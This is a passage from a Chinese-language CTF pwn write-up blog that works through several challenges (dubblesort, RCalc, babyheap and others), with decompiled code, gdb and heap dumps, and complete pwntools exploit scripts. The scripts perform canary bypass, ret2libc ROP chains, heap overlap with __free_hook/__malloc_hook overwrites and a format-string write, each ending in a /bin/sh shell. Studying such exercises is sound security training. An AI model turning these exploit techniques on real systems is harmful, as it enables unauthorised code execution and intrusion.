if ( v11 != v15 )
sub_BA0(v6, v10);
return result;
}

能看到定义的 buf 变量不是 char 数组而是 char 字符,那栈中肯定有很多数据,gdb 泄露出来数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0f:003c│ ecx esi  0xffffd03c0xa61 /* 'a\n' */
10:00400xffffd0400xffffd31b'/root/CTF/Pwn/dubblesort'
11:00440xffffd0440x2f /* '/' */
12:00480xffffd0480x56555034push es
13:004c│ 0xffffd04c0x16
14:00500xffffd0500x8000
15:00540xffffd0540xf7fae000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0
16:00580xffffd0580xf7fac2440xf7e14020 (_IO_check_libio) ← call 0xf7f1bb59
17:005c│ 0xffffd05c0x56555601add ebx, 0x199f
18:00600xffffd0600x565557a9add ebx, 0x17f7
19:00640xffffd0640x56556fa00x1ea8
1a:00680xffffd0680x1
1b:006c│ 0xffffd06c0x56555b72add edi, 1
1c:00700xffffd0700x1
1d:00740xffffd0740xffffd1340xffffd31b'/root/CTF/Pwn/dubblesort'
1e:00780xffffd0780xffffd13c0xffffd334'LC_PAPER=zh_CN.UTF-8'
1f:007c│ 0xffffd07c0x433ba800

这里可以看出,假如我们能够输入 24 个字符,就可以依靠\n泄露出0xffffd054处的数据

而这个数据和 libc 的基地址是有固定关系的,所以我们可以靠这个数据算出 libc 的基地址

之后就是该考虑如何提权了,当 scanf 函数接收到不符合格式化字符串的字符时,不会将其放入栈空间中

所以我们可以在 canary 处输入特殊字符,英文啊,+-啊等等,这样 canary 处的数据就不会被修改,但是当进行排序的时候,会将这块排序

之后再输入很多 system 的真实地址到__libc_start_main+240,再加上 str_bin_sh 的地址即可,最后一波排序后即可提权

能这样的原因是:正常来讲数值关系的话 canary < addr_system < addr_bin_sh

所以输入的数据从 canary 开始就是已经排序好的,不会改动,也就完成了栈布局

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./dubblesort')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
offset_libc = 0x1B200A
else:
p = remote('111.198.29.45', 38568)
libc = ELF('./libc_32.so.6', checksec=False)
offset_libc = 0x1B000A
elf = ELF('./dubblesort', checksec=False)


# gdb.attach(p, "b *$rebase(0xB10)\nc")
pd = 'a' * 24
p.sendlineafter('What your name :', pd)
p.recvuntil(pd)

libcbase = u32(p.recv(4)) - offset_libc
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
addr___libc_start_main = libcbase + libc.sym['__libc_start_main'] + 247

p.sendlineafter('do you what to sort :', '35')
for i in range(0, 24):
p.sendlineafter('number : ', '0')
success('libcbase = ' + hex(libcbase))
success('addr_system = ' + hex(addr_system))
success('addr_bin_sh = ' + hex(addr_bin_sh))
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
p.sendlineafter('number : ', '+')
for i in range(0, 9):
p.sendlineafter('number : ', str(addr_system))
p.sendlineafter('number : ', str(addr_bin_sh))
sleep(1)
p.interactive()

Flag:

1
动态靶机

反应釜开关控制

Description:

小M在里一个私人矿厂中发现了一条TNT生产线中硝化反应釜的接口,反应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小M打算通过把反应釜关闭掉来干扰这条TNT生产线的运行,但是反应釜有多个闸门,得想办法帮她把闸门都关掉才行。


Solution:

水题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./chall')
else:
p = remote('111.198.29.45', 36956)
pd = 'a' * 0x208
pd += p64(0x4005F6)
p.sendlineafter('>', pd)
p.recv()
p.interactive()

Flag:

1
动态靶机

RCalc

Description:

暂无


Solution:

题目一开始创建了很多堆,用来存放堆的两个地址在后面起到控制随机数的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void *sub_400A06()
{
__int64 v0; // rbx
__int64 v1; // rbx
void *result; // rax

qword_6020F8 = malloc(0x10uLL);
if ( !qword_6020F8 )
exit(1);
qword_6020F0 = malloc(0x10uLL);
if ( !qword_6020F0 )
exit(1);
*qword_6020F8 = 0LL;
v0 = qword_6020F8;
*(v0 + 8) = malloc(0x100uLL);
*qword_6020F0 = 0LL;
v1 = qword_6020F0;
result = malloc(0x320uLL);
*(v1 + 8) = result;
return result;
}

这时堆空间分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x603050,
fd_nextsize = 0x0,
bk_nextsize = 0x21,
}
0x603020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x603160,
fd_nextsize = 0x0,
bk_nextsize = 0x111,
}
0x603040 PREV_INUSE {
prev_size = 0x0,
size = 0x111,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x603150 PREV_INUSE {
prev_size = 0x0,
size = 0x331,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x603480 PREV_INUSE {
prev_size = 0x0,
size = 0x20b81,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}

所以这里 qword_6020F8 的值为 0x603010,qword_6020F0 的值为 0x603030,这是两个堆空间的 fd 地址

接着将 0x603008 也就是 qword_6020F8 对应堆的 bk 设置为新创建的大小为 0x100 堆的 fd 地址

再将 0x603028 也就是 qword_6020F0 对应堆的 bk 设置为新创建的大小为 0x320 堆的 fd 地址

接着到了主函数,主函数一开始还有小操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 sub_400AAB()
{
__int64 v0; // rsi
__int64 v1; // rdx
unsigned int ptr; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h]
FILE *stream; // [rsp+18h] [rbp-18h]

if ( *qword_6020F0 )
{
ptr = *(*(qword_6020F0 + 8) + 8LL * *qword_6020F0 - 8);
}
else
{
stream = fopen("/dev/urandom", "r");
fread(&ptr, 1uLL, 4uLL, stream);
fclose(stream);
}
srand(ptr);
v4 = rand();
v4 = (v4 << 32) | rand();
v0 = *(qword_6020F0 + 8);
v1 = (*qword_6020F0)++;
*(v0 + 8 * v1) = v4;
return v4;
}

这里将随机数存到了大小为 0x320 的堆的 fd 地址加上 8 * v1 的地址上,然后将第二个堆的 fd 上面的值自增 1

重点一:

接着就是主函数内部了,这里 scanf 有个漏洞点,可以写入无限长的字符串导致溢出,但是有一个检查

如果 result 的值不等于随机数的值,那么就退出程序,相当于他自己设置的 canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_400FA2()
{
__int64 result; // rax
char v1; // [rsp+0h] [rbp-110h]
__int64 v2; // [rsp+108h] [rbp-8h]

v2 = sub_400AAB();
printf("Input your name pls: ");
__isoc99_scanf("%s", &v1);
printf("Hello %s!\nWelcome to RCTF 2017!!!\n", &v1);
puts("Let's try our smart calculator");
sub_400E72("Let's try our smart calculator");
result = sub_400B92();
if ( result != v2 )
sub_400BD4();
return result;
}

result 的值是这么来的

1
2
3
4
__int64 sub_400B92()
{
return *(*(qword_6020F0 + 8) + 8LL * (*qword_6020F0)-- - 8);
}

翻译一下就是:

大小时 0x320 的堆的 bk 和第二个创建的堆的 fd 做乘法,再减去 8

用这个地址所指向的地址上的值作为返回值(也就是返回最后一个随机数),然后使第二个创建的堆的 fd 自减 1

重点二:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_400E39(__int64 a1)
{
__int64 v1; // rsi
__int64 v2; // rdx
__int64 result; // rax

v1 = *(qword_6020F8 + 8);
v2 = (*qword_6020F8)++;
result = a1;
*(v1 + 8 * v2) = a1;
return result;
}

这个函数是在计算两数之后选择 yes 运行的,将数值保存在大小为 0x100 的堆里,再将第一个堆的 fd 的数值自增 1

又因为 0x100 的堆在 0x320 的堆上面,所以我们可以靠不断存数据覆盖随机数为我们想要的数值,之后 scanf 那的 rop 就可以正常操作了

但是要注意,不能使用 plt_puts,got_puts 等一系列地址带 0x20 的 rop,因为 scanf 遇见空格会截断输入

所以这里使用 plt_printf 来进行泄露,但是这里又要注意另外一点,就是我们用来覆盖的 canary 要设置为 0,具体情况如下:

printf 在函数进入时有个检测,这时候我们设置的随机数是在 rax 上面的,会被 al 使用

比较指令,将两个数进行逻辑与运算,并根据结果设置标志寄存器

1
<printf+7>      test   al, al

跳转指令,未跳转状态

1
2
<printf+34>    je     printf+91
<printf+36> movaps xmmword ptr [rsp + 0x50], xmm0

跳转状态,此时 ZF 为 1

1
2
3
<printf+34>   ✔ je     printf+91

<printf+91> lea rax, [rsp + 0xe0]

众所周知,这平台的 libc 有问题,我还是用自己的好了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./RCalc')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 53969)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./RCalc', checksec=False)
plt_printf = elf.plt['printf']
got___libc_start_main = elf.got['__libc_start_main']
addr_rdi_ret = 0x401123
addr_main = 0x401036

pd = 'a' * 0x108
pd += p64(0)
pd += 'b' * 8
pd += p64(addr_rdi_ret)
pd += p64(got___libc_start_main)
pd += p64(plt_printf)
pd += p64(addr_main)
p.sendlineafter('Input your name pls: ', pd)
for i in range(0, 0x23):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('input 2 integer:', str(0))
p.sendline('0')
p.sendlineafter('Save the result? ', 'yes')
# gdb.attach(p, "b *0x401022\nc")
p.sendlineafter('Your choice:', '5')

addr___libc_start_main = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

# gdb.attach(p, "b *0x400f8e\nc")
pd = 'a' * 0x108
pd += p64(0)
pd += 'b' * 8
pd += p64(addr_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('Input your name pls: ', pd)
for i in range(0, 0x23):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('input 2 integer:', str(0))
p.sendline('0')
p.sendlineafter('Save the result? ', 'yes')
p.sendlineafter('Your choice:', '5')
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

1
动态靶机

babyheap

Description:

暂无


Solution:

注意 tcachebin 的最大数值是 0x410,再大分配的就是 unsortedbin

用 unsortedbin 完成 overlap chunk 的创建,泄露出 libc 基地址

然后修改 __free_hook 为 addr_system,之后释放一个/bin/sh堆块即可提权

平台是 Ubuntu 16.04,libc 是 2.23 的,题目是 Ubuntu 18.04,libc 是 2.27 的,我服了

Ubuntu 16.04 的题解需要用 __libc_realloc 调整一下堆栈

one_gadget 放在 __realloc_hook,__libc_realloc 放在 __malloc_hook

平台exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./timu')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Ubuntu 16.04
else:
p = remote('111.198.29.45', 34925)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./timu', checksec=False)


def create(create_size, create_data):
p.sendlineafter('Your choice :\n', '1')
p.sendlineafter('Size: \n', str(create_size))
p.sendlineafter('Data: ', create_data)


def delete(delete_idx):
p.sendlineafter('Your choice :\n', '2')
p.sendlineafter('Index: \n', str(delete_idx))


create(0x418, '') # 0
create(0x508, 'A' * 0x4f0 + p64(0x500)) # 1
create(0x418, '') # 2
create(0x418, '') # 3
delete(0)
delete(1)
create(0x418, 'a' * 0x418) # 0
create(0x488, '') # 1
create(0x68, '') # 4
delete(1)
delete(2)
create(0x488, '') # 1
p.sendafter('Your choice :\n', '3')
p.recvuntil('4 : ')

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___libc_realloc = libcbase + libc.sym['__libc_realloc']
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
addr_one_gadget = libcbase + libc_one_gadget[1]
create(0x68, '') # 2
create(0x68, '') # 5
delete(4)
delete(5)
delete(2)
create(0x68, p64(addr___malloc_hook - 0x23)) # 4
create(0x68, p64(addr___malloc_hook - 0x23))
create(0x68, p64(addr___malloc_hook - 0x23))
create(0x68, '\x00' * 0xb + p64(addr_one_gadget) + p64(addr___libc_realloc))
p.sendlineafter('Your choice :\n', '1')
p.sendlineafter('Size: \n', '')
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_one_gadget = ' + hex(addr_one_gadget))
# gdb.attach(p, "b *$rebase(0xABD)\nc")
p.interactive()

原本exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./timu')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Ubuntu 18.04
else:
p = remote('111.198.29.45', 34925)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./timu', checksec=False)


def create(create_size, create_data):
p.sendlineafter('Your choice :\n', '1')
p.sendlineafter('Size: \n', str(create_size))
p.sendlineafter('Data: ', create_data)


def delete(delete_idx):
p.sendlineafter('Your choice :\n', '2')
p.sendlineafter('Index: \n', str(delete_idx))


create(0x418, '') # 0
create(0x508, 'A' * 0x4f0 + p64(0x500)) # 1
create(0x418, '') # 2
create(0x418, '') # 3
delete(0)
delete(1)
create(0x418, 'a' * 0x418) # 0
create(0x418, '') # 1
create(0xd8, '') # 4
delete(1)
delete(2)
create(0x418, '') # 1
p.sendafter('Your choice :\n', '3')
p.recvuntil('4 : ')

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x70
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___free_hook = libcbase + libc.sym['__free_hook']
addr_system = libcbase + libc.sym['system']
create(0xd8, '') # 2
delete(4)
delete(2)
create(0xd8, p64(addr___free_hook)) # 4
create(0xd8, '/bin/sh\x00') # 2
create(0xd8, p64(addr_system))
delete(2)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr___free_hook = ' + hex(addr___free_hook))
# gdb.attach(p)
p.interactive()

Flag:

1
动态靶机

实时数据监测

Description:

小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆。


Solution:

送分题,直接修改 key 值,超暴力方法

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int locker()
{
int result; // eax
char s; // [esp+0h] [ebp-208h]

fgets(&s, 0x200, stdin);
imagemagic(&s);
if ( key == 0x2223322 )
result = system("/bin/sh");
else
result = printf(format, &key, key);
return result;
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./chall')
else:
p = remote('111.198.29.45', 52406)
addr_key = 0x0804A048

# gdb.attach(p, "b *0x080484A7\nc\nsi")
pd = p32(addr_key)
pd += '%35795742d'
pd += '%12$n'
p.sendline(pd)
p.interactive()

Flag:

1
动态靶机
文章目录
  1. 1. 4-ReeHY-main-100
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. babyfengshui
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. Aul
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. welpwn
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. 1000levevls
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. greeting-150
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
  7. 7. hacknote
    1. 7.1. Description:
    2. 7.2. Solution:
    3. 7.3. Flag:
  8. 8. Recho
    1. 8.1. Description:
    2. 8.2. Solution:
    3. 8.3. Flag:
  9. 9. format2
    1. 9.1. Description:
    2. 9.2. Solution:
    3. 9.3. Flag:
  10. 10. secret_file
    1. 10.1. Description:
    2. 10.2. Solution:
    3. 10.3. Flag:
  11. 11. note-service2
    1. 11.1. Description:
    2. 11.2. Solution:
    3. 11.3. Flag:
  12. 12. Noleak
    1. 12.1. Description:
    2. 12.2. Solution:
    3. 12.3. Flag:
  13. 13. supermarket
    1. 13.1. Description:
    2. 13.2. Solution:
    3. 13.3. Flag:
  14. 14. EasyPwn
    1. 14.1. Description:
    2. 14.2. Solution:
    3. 14.3. Flag:
  15. 15. echo_back
    1. 15.1. Description:
    2. 15.2. Solution:
    3. 15.3. Flag:
  16. 16. dubblesort
    1. 16.1. Description:
    2. 16.2. Solution:
    3. 16.3. Flag:
  17. 17. 反应釜开关控制
    1. 17.1. Description:
    2. 17.2. Solution:
    3. 17.3. Flag:
  18. 18. RCalc
    1. 18.1. Description:
    2. 18.2. Solution:
    3. 18.3. Flag:
  19. 19. babyheap
    1. 19.1. Description:
    2. 19.2. Solution:
    3. 19.3. Flag:
  20. 20. 实时数据监测
    1. 20.1. Description:
    2. 20.2. Solution:
    3. 20.3. Flag:
|